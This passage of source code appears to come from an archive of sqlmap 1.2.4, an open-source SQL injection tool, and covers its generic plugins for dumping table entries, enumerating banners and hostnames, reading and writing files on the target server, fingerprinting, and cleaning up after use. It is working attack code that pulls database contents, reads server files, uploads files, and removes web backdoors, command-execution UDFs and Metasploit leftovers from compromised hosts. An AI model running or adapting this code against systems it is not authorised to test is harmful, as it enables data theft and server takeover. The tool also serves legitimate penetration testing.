any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: entries = [] query = None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) if Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.count % table query = agent.whereQuery(query) count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): try: indexRange = getLimitRange(count, plusOne=True) for index in indexRange: row = [] for column in colList: query = rootQuery.blind.query3 % (column, column, table, index) query = agent.whereQuery(query) value = inject.getValue(query, blind=False, time=False, dump=True) or "" row.append(value) entries.append(row) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not entries and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, blind=False) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if retVal: entries, _ = retVal entries = zip(*[entries[colName] for colName in colList]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) query = agent.whereQuery(query) if not entries and query and not kb.dumpKeyboardInterrupt: try: entries = inject.getValue(query, blind=False, time=False, dump=True) except KeyboardInterrupt: entries = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not isNoneValue(entries): if isinstance(entries, basestring): entries = [entries] elif not isListLike(entries): entries = [] entriesCount = len(entries) for index, column in enumerate(colList): if column not in kb.data.dumpedTable: kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()} for entry in entries: if entry is None or len(entry) == 0: continue if isinstance(entry, basestring): colEntry = entry else: colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u'' maxLen = max(len(column), len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))) if maxLen > kb.data.dumpedTable[column]["length"]: kb.data.dumpedTable[column]["length"] = maxLen kb.data.dumpedTable[column]["values"].append(colEntry) if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of " if conf.col: infoMsg += "column(s) '%s' " % colNames infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) elif Backend.isDbms(DBMS.MAXDB): query = rootQuery.blind.count % tbl elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.count % (conf.db, tbl) else: query = rootQuery.blind.count % (conf.db, tbl) query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} entries = {} if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db) warnMsg += "appears to be empty" logger.warn(warnMsg) for column in colList: lengths[column] = len(column) entries[column] = [] elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: warnMsg += "column(s) '%s' " % colNames warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.warn(warnMsg) continue elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX): if Backend.isDbms(DBMS.ACCESS): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.INFORMIX): table = "%s:%s" % (conf.db, tbl) if Backend.isDbms(DBMS.MSSQL): try: indexRange = getLimitRange(count, plusOne=True) for index in indexRange: for column in colList: query = rootQuery.blind.query3 % (column, column, table, index) query = agent.whereQuery(query) value = inject.getValue(query, union=False, error=False, dump=True) or "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not entries and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, count, blind=True) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if retVal: entries, lengths = retVal else: emptyColumns = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: debugMsg = "checking for empty columns" logger.debug(infoMsg) for column in colList: if not inject.checkBooleanExpression("(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)): emptyColumns.append(column) debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) try: for index in indexRange: for column in colList: value = "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) query = agent.whereQuery(query) value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) value = '' if value is None else value lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = {"length": length, "values": columnEntries} entriesCount = len(columnEntries) if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): warnMsg = "unable to retrieve the entries " if conf.col: warnMsg += "of columns '%s' " % colNames warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") logger.warn(warnMsg) else: kb.data.dumpedTable["__infos__"] = {"count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db)} try: attackDumpedTable() except (IOError, OSError), ex: errMsg = "an error occurred while attacking " errMsg += "table dump ('%s')" % getSafeExString(ex) logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException, ex: errMsg = "connection exception detected in dumping phase " errMsg += "('%s')" % getSafeExString(ex) logger.critical(errMsg) finally: kb.dumpColumns = None kb.dumpTable = None def dumpAll(self): if conf.db is not None and conf.tbl is None: self.dumpTable() return if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise SqlmapUnsupportedFeatureException(errMsg) infoMsg = "sqlmap will dump entries of all tables from all databases now" logger.info(infoMsg) conf.tbl = None conf.col = None self.getTables() if kb.data.cachedTables: if isinstance(kb.data.cachedTables, list): kb.data.cachedTables = {None: kb.data.cachedTables} for db, tables in kb.data.cachedTables.items(): conf.db = db for table in tables: if conf.exclude and table in conf.exclude.split(','): infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg) continue try: conf.tbl = table kb.data.cachedColumns = {} kb.data.dumpedTable = {} self.dumpTable() except SqlmapNoneDataException: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg) def dumpFoundColumn(self, dbs, foundCols, colConsider): message = "do you want to dump entries? [Y/n] " if not readInput(message, default='Y', boolean=True): return dumpFromDbs = [] message = "which database(s)?\n[a]ll (default)\n" for db, tblData in dbs.items(): if tblData: message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) message += "[q]uit" choice = readInput(message, default='a') if not choice or choice in ('a', 'A'): dumpFromDbs = dbs.keys() elif choice in ('q', 'Q'): return else: dumpFromDbs = choice.replace(" ", "").split(',') for db, tblData in dbs.items(): if db not in dumpFromDbs or not tblData: continue conf.db = db dumpFromTbls = [] message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db) message += "[a]ll (default)\n" for tbl in tblData: message += "[%s]\n" % tbl message += "[s]kip\n" message += "[q]uit" choice = readInput(message, default='a') if not choice or choice in ('a', 'A'): dumpFromTbls = tblData elif choice in ('s', 'S'): continue elif choice in ('q', 'Q'): return else: dumpFromTbls = choice.replace(" ", "").split(',') for table, columns in tblData.items(): if table not in dumpFromTbls: continue conf.tbl = table colList = filter(None, sorted(columns)) if conf.exclude: colList = [_ for _ in colList if _ not in conf.exclude.split(',')] conf.col = ','.join(colList) kb.data.cachedColumns = {} kb.data.dumpedTable = {} data = self.dumpTable(dbs) if data: conf.dumper.dbTableValues(data) def dumpFoundTables(self, tables): message = "do you want to dump tables' entries? [Y/n] " if not readInput(message, default='Y', boolean=True): return dumpFromDbs = [] message = "which database(s)?\n[a]ll (default)\n" for db, tablesList in tables.items(): if tablesList: message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) message += "[q]uit" choice = readInput(message, default='a') if not choice or choice.lower() == 'a': dumpFromDbs = tables.keys() elif choice.lower() == 'q': return else: dumpFromDbs = choice.replace(" ", "").split(',') for db, tablesList in tables.items(): if db not in dumpFromDbs or not tablesList: continue conf.db = db dumpFromTbls = [] message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db) message += "[a]ll (default)\n" for tbl in tablesList: message += "[%s]\n" % unsafeSQLIdentificatorNaming(tbl) message += "[s]kip\n" message += "[q]uit" choice = readInput(message, default='a') if not choice or choice.lower() == 'a': dumpFromTbls = tablesList elif choice.lower() == 's': continue elif choice.lower() == 'q': return else: dumpFromTbls = choice.replace(" ", "").split(',') for table in dumpFromTbls: conf.tbl = table kb.data.cachedColumns = {} kb.data.dumpedTable = {} data = self.dumpTable() if data: conf.dumper.dbTableValues(data) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/generic/enumeration.py���������������������������������������������������������0000664�0000000�0000000�00000005201�13260122637�0021010�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.session import setOs from lib.parse.banner import bannerParser from lib.request import inject from plugins.generic.custom import Custom from plugins.generic.databases import Databases from plugins.generic.entries import Entries from plugins.generic.search import Search from plugins.generic.users import Users class Enumeration(Custom, Databases, Entries, Search, Users): """ This class defines generic enumeration functionalities for plugins. """ def __init__(self): kb.data.has_information_schema = False kb.data.banner = None kb.data.hostname = "" kb.data.processChar = None kb.data.characterSet = None Custom.__init__(self) Databases.__init__(self) Entries.__init__(self) Search.__init__(self) Users.__init__(self) def getBanner(self): if not conf.getBanner: return if kb.data.banner is None: infoMsg = "fetching banner" logger.info(infoMsg) if Backend.isDbms(DBMS.DB2): rootQuery = queries[DBMS.DB2].banner for query in (rootQuery.query, rootQuery.query2): kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) if kb.data.banner: break else: query = queries[Backend.getIdentifiedDbms()].banner.query kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) bannerParser(kb.data.banner) if conf.os and conf.os == "windows": kb.bannerFp["type"] = set(["Windows"]) elif conf.os and conf.os == "linux": kb.bannerFp["type"] = set(["Linux"]) elif conf.os: kb.bannerFp["type"] = set(["%s%s" % (conf.os[0].upper(), conf.os[1:])]) if conf.os: setOs() return kb.data.banner def getHostname(self): infoMsg = "fetching server hostname" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].hostname.query if not kb.data.hostname: kb.data.hostname = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) return kb.data.hostname �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/generic/filesystem.py����������������������������������������������������������0000664�0000000�0000000�00000026545�13260122637�0020664�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import sys from lib.core.agent import agent from lib.core.common import dataToOutFile from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import decloakToTemp from lib.core.common import decodeHexValue from lib.core.common import getUnicode from lib.core.common import isNumPosStrValue from lib.core.common import isListLike from lib.core.common import isStackingAvailable from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUndefinedMethod from lib.core.settings import UNICODE_ENCODING from lib.request import inject class Filesystem: """ This class defines generic OS file system functionalities for plugins. """ def __init__(self): self.fileTblName = "sqlmapfile" self.tblField = "data" def _checkFileLength(self, localFile, remoteFile, fileRead=False): if Backend.isDbms(DBMS.MYSQL): lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) try: localFileSize = os.path.getsize(localFile) except OSError: warnMsg = "file '%s' is missing" % localFile logger.warn(warnMsg) localFileSize = 0 if fileRead and Backend.isDbms(DBMS.PGSQL): logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile) sameFile = True else: logger.debug("checking the length of the remote file '%s'" % remoteFile) remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) sameFile = None if isNumPosStrValue(remoteFileSize): remoteFileSize = long(remoteFileSize) localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) sameFile = False if localFileSize == remoteFileSize: sameFile = True infoMsg = "the local file '%s' and the remote file " % localFile infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize) elif remoteFileSize > localFileSize: infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize) infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize) else: infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize) infoMsg += "file '%s' (%d B)" % (localFile, localFileSize) logger.info(infoMsg) else: sameFile = False warnMsg = "it looks like the file has not been written (usually " warnMsg += "occurs if the DBMS process user has no write " warnMsg += "privileges in the destination path)" logger.warn(warnMsg) return sameFile def fileToSqlQueries(self, fcEncodedList): """ Called by MySQL and PostgreSQL plugins to write a file on the back-end DBMS underlying file system """ counter = 0 sqlQueries = [] for fcEncodedLine in fcEncodedList: if counter == 0: sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine)) else: updatedField = agent.simpleConcatenate(self.tblField, fcEncodedLine) sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField)) counter += 1 return sqlQueries def fileEncode(self, fileName, encoding, single, chunkSize=256): """ Called by MySQL and PostgreSQL plugins to write a file on the back-end DBMS underlying file system """ checkFile(fileName) with open(fileName, "rb") as f: content = f.read() return self.fileContentEncode(content, encoding, single, chunkSize) def fileContentEncode(self, content, encoding, single, chunkSize=256): retVal = [] if encoding: content = content.encode(encoding).replace("\n", "") if not single: if len(content) > chunkSize: for i in xrange(0, len(content), chunkSize): _ = content[i:i + chunkSize] if encoding == "hex": _ = "0x%s" % _ elif encoding == "base64": _ = "'%s'" % _ retVal.append(_) if not retVal: if encoding == "hex": content = "0x%s" % content elif encoding == "base64": content = "'%s'" % content retVal = [content] return retVal def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False): choice = None if forceCheck is not True: message = "do you want confirmation that the local file '%s' " % localFile message += "has been successfully written on the back-end DBMS " message += "file system ('%s')? [Y/n] " % remoteFile choice = readInput(message, default='Y', boolean=True) if forceCheck or choice: return self._checkFileLength(localFile, remoteFile) return True def askCheckReadFile(self, localFile, remoteFile): message = "do you want confirmation that the remote file '%s' " % remoteFile message += "has been successfully downloaded from the back-end " message += "DBMS file system? [Y/n] " if readInput(message, default='Y', boolean=True): return self._checkFileLength(localFile, remoteFile, True) return None def nonStackedReadFile(self, remoteFile): errMsg = "'nonStackedReadFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def stackedReadFile(self, remoteFile): errMsg = "'stackedReadFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "'unionWriteFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "'stackedWriteFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def readFile(self, remoteFiles): localFilePaths = [] self.checkDbmsOs() for remoteFile in remoteFiles.split(','): fileContent = None kb.fileReadMode = True if conf.direct or isStackingAvailable(): if isStackingAvailable(): debugMsg = "going to read the file with stacked query SQL " debugMsg += "injection technique" logger.debug(debugMsg) fileContent = self.stackedReadFile(remoteFile) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "going to read the file with a non-stacked query " debugMsg += "SQL injection technique" logger.debug(debugMsg) fileContent = self.nonStackedReadFile(remoteFile) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to read files from the underlying file " errMsg += "system of the back-end %s server" % Backend.getDbms() logger.error(errMsg) fileContent = None kb.fileReadMode = False if fileContent in (None, "") and not Backend.isDbms(DBMS.PGSQL): self.cleanup(onlyFileTbl=True) elif isListLike(fileContent): newFileContent = "" for chunk in fileContent: if isListLike(chunk): if len(chunk) > 0: chunk = chunk[0] else: chunk = "" if chunk: newFileContent += chunk fileContent = newFileContent if fileContent is not None: fileContent = decodeHexValue(fileContent, True) if fileContent: localFilePath = dataToOutFile(remoteFile, fileContent) if not Backend.isDbms(DBMS.PGSQL): self.cleanup(onlyFileTbl=True) sameFile = self.askCheckReadFile(localFilePath, remoteFile) if sameFile is True: localFilePath += " (same file)" elif sameFile is False: localFilePath += " (size differs from remote file)" localFilePaths.append(localFilePath) else: errMsg = "no data retrieved" logger.error(errMsg) return localFilePaths def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): written = False checkFile(localFile) self.checkDbmsOs() if localFile.endswith('_'): localFile = getUnicode(decloakToTemp(localFile)) if conf.direct or isStackingAvailable(): if isStackingAvailable(): debugMsg = "going to upload the file '%s' with " % fileType debugMsg += "stacked query SQL injection technique" logger.debug(debugMsg) written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) self.cleanup(onlyFileTbl=True) elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): debugMsg = "going to upload the file '%s' with " % fileType debugMsg += "UNION query SQL injection technique" logger.debug(debugMsg) written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to write files to the underlying file " errMsg += "system of the back-end %s server" % Backend.getDbms() logger.error(errMsg) return None return written �����������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/generic/fingerprint.py���������������������������������������������������������0000664�0000000�0000000�00000003254�13260122637�0021017�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import readInput from lib.core.data import logger from lib.core.enums import OS from lib.core.exception import SqlmapUndefinedMethod class Fingerprint: """ This class defines generic fingerprint functionalities for plugins. """ def __init__(self, dbms): Backend.forceDbms(dbms) def getFingerprint(self): errMsg = "'getFingerprint' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def checkDbms(self): errMsg = "'checkDbms' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def checkDbmsOs(self, detailed=False): errMsg = "'checkDbmsOs' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def forceDbmsEnum(self): pass def userChooseDbmsOs(self): warnMsg = "for some reason sqlmap was unable to fingerprint " warnMsg += "the back-end DBMS operating system" logger.warn(warnMsg) msg = "do you want to provide the OS? [(W)indows/(l)inux]" while True: os = readInput(msg, default='W').upper() if os == 'W': Backend.setOs(OS.WINDOWS) break elif os == 'L': Backend.setOs(OS.LINUX) break else: warnMsg = "invalid value" logger.warn(warnMsg) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/generic/misc.py����������������������������������������������������������������0000664�0000000�0000000�00000015751�13260122637�0017430�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import ntpath import re from lib.core.common import Backend from lib.core.common import hashDBWrite from lib.core.common import isStackingAvailable from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import posixToNtSlashes from lib.core.common import readInput from lib.core.common import singleTimeDebugMessage from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject class Miscellaneous: """ This class defines miscellaneous functionalities for plugins. """ def __init__(self): pass def getRemoteTempPath(self): if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL): debugMsg = "identifying Microsoft SQL Server error log directory " debugMsg += "that sqlmap will use to store temporary files with " debugMsg += "commands' output" logger.debug(debugMsg) _ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False)) if _: conf.tmpPath = ntpath.dirname(_) if not conf.tmpPath: if Backend.isOs(OS.WINDOWS): if conf.direct: conf.tmpPath = "%TEMP%" else: self.checkDbmsOs(detailed=True) if Backend.getOsVersion() in ("2000", "NT"): conf.tmpPath = "C:/WINNT/Temp" elif Backend.isOs("XP"): conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp" else: conf.tmpPath = "C:/Windows/Temp" else: conf.tmpPath = "/tmp" if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I): Backend.setOs(OS.WINDOWS) conf.tmpPath = normalizePath(conf.tmpPath) conf.tmpPath = ntToPosixSlashes(conf.tmpPath) singleTimeDebugMessage("going to use '%s' as temporary files directory" % conf.tmpPath) hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath) return conf.tmpPath def getVersionFromBanner(self): if "dbmsVersion" in kb.bannerFp: return infoMsg = "detecting back-end DBMS version from its banner" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL): first, last = 1, 6 elif Backend.isDbms(DBMS.PGSQL): first, last = 12, 6 elif Backend.isDbms(DBMS.MSSQL): first, last = 29, 9 else: raise SqlmapUnsupportedFeatureException("unsupported DBMS") query = queries[Backend.getIdentifiedDbms()].substring.query % (queries[Backend.getIdentifiedDbms()].banner.query, first, last) if conf.direct: query = "SELECT %s" % query kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(',', "").replace('-', "").replace(' ', "") def delRemoteFile(self, filename): if not filename: return self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): filename = posixToNtSlashes(filename) cmd = "del /F /Q %s" % filename else: cmd = "rm -f %s" % filename self.execCmd(cmd, silent=True) def createSupportTbl(self, tblName, tblField, tblType): inject.goStacked("DROP TABLE %s" % tblName, silent=True) if Backend.isDbms(DBMS.MSSQL) and tblName == self.cmdTblName: inject.goStacked("CREATE TABLE %s(id INT PRIMARY KEY IDENTITY, %s %s)" % (tblName, tblField, tblType)) else: inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType)) def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): """ Cleanup file system and database from sqlmap create files, tables and functions """ if web and self.webBackdoorFilePath: logger.info("cleaning up the web files uploaded") self.delRemoteFile(self.webStagerFilePath) self.delRemoteFile(self.webBackdoorFilePath) if not isStackingAvailable() and not conf.direct: return if Backend.isOs(OS.WINDOWS): libtype = "dynamic-link library" elif Backend.isOs(OS.LINUX): libtype = "shared object" else: libtype = "shared library" if onlyFileTbl: logger.debug("cleaning up the database management system") else: logger.info("cleaning up the database management system") logger.debug("removing support tables") inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True) inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True) if not onlyFileTbl: inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) if Backend.isDbms(DBMS.MSSQL): udfDict = {"master..new_xp_cmdshell": None} if udfDict is None: udfDict = self.sysUdfs for udf, inpRet in udfDict.items(): message = "do you want to remove UDF '%s'? [Y/n] " % udf if readInput(message, default='Y', boolean=True): dropStr = "DROP FUNCTION %s" % udf if Backend.isDbms(DBMS.PGSQL): inp = ", ".join(i for i in inpRet["input"]) dropStr += "(%s)" % inp logger.debug("removing UDF '%s'" % udf) inject.goStacked(dropStr, silent=True) logger.info("database management system cleanup finished") warnMsg = "remember that UDF %s files " % libtype if conf.osPwn: warnMsg += "and Metasploit related files in the temporary " warnMsg += "folder " warnMsg += "saved on the file system can only be deleted " warnMsg += "manually" logger.warn(warnMsg) def likeOrExact(self, what): message = "do you want sqlmap to consider provided %s(s):\n" % what message += "[1] as LIKE %s names (default)\n" % what message += "[2] as exact %s names" % what choice = readInput(message, default='1') if not choice or choice == '1': choice = '1' condParam = " LIKE '%%%s%%'" elif choice == '2': condParam = "='%s'" else: errMsg = "invalid value" raise SqlmapNoneDataException(errMsg) return choice, condParam 